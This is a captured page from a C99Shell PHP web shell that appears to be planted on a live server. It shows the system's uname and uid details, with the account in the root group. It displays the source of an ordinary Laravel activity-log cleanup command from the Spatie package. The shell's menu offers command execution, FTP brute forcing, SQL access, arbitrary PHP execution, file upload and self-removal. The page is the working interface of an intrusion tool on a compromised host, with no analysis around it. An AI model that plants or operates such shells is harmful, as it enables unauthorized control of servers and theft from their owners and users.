!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/spatie/laravel-activitylog/src/   drwxr-xr-x
Free 23.35 GB of 117.98 GB (19.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CleanActivitylogCommand.php (1.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Activitylog;

use 
Carbon\Carbon;
use 
Illuminate\Console\Command;
use 
Illuminate\Console\ConfirmableTrait;
use 
Illuminate\Database\Eloquent\Builder;

class 
CleanActivitylogCommand extends Command
{
    use 
ConfirmableTrait;

    protected 
$signature 'activitylog:clean
                            {log? : (optional) The log name that will be cleaned.}
                            {--days= : (optional) Records older than this number of days will be cleaned.}
                            {--force : (optional) Force the operation to run when in production.}'
;

    protected 
$description 'Clean up old records from the activity log.';

    public function 
handle()
    {
        if (! 
$this->confirmToProceed()) {
            return 
1;
        }

        
$this->comment('Cleaning activity log...');

        
$log $this->argument('log');

        
$maxAgeInDays $this->option('days') ?? config('activitylog.delete_records_older_than_days');

        
$cutOffDate Carbon::now()->subDays($maxAgeInDays)->format('Y-m-d H:i:s');

        
$activity ActivitylogServiceProvider::getActivityModelInstance();

        
$amountDeleted $activity::query()
            ->
where('created_at''<'$cutOffDate)
            ->
when($log !== null, function (Builder $query) use ($log) {
                
$query->inLog($log);
            })
            ->
delete();

        
$this->info("Deleted {$amountDeleted} record(s) from the activity log.");

        
$this->comment('All done!');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0065 ]--